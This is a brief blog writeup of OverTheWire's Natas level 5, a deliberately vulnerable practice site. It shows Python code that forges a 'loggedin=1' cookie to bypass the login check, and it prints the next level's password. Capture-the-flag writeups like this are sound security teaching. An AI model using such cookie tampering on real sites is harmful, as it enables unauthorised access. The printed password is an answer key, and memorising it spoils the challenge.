Writeups OverTheWireNatasWebCookies

Natas 5 Writeup - OverTheWire

Writeup for Natas level 5 from OverTheWire: modifying a cookie to gain access.

Contents

Wargame: Natas

Level: 5

Category: Web Security

Description

The page says “Access disallowed. You are not logged in.” A cookie loggedin=0 controls this check. Setting it to 1 grants access.

Overview

Solution

cookies = {"loggedin": "1"}
response = requests.get(url, auth=("natas5", current_password), cookies=cookies)
result = re.search(r"The password for natas6 is (.*)", response.text).group(1).strip()

Password

fOIvE0MDtPTgRhqmmvvAOt2EfXR6uQgR

← Back to Blog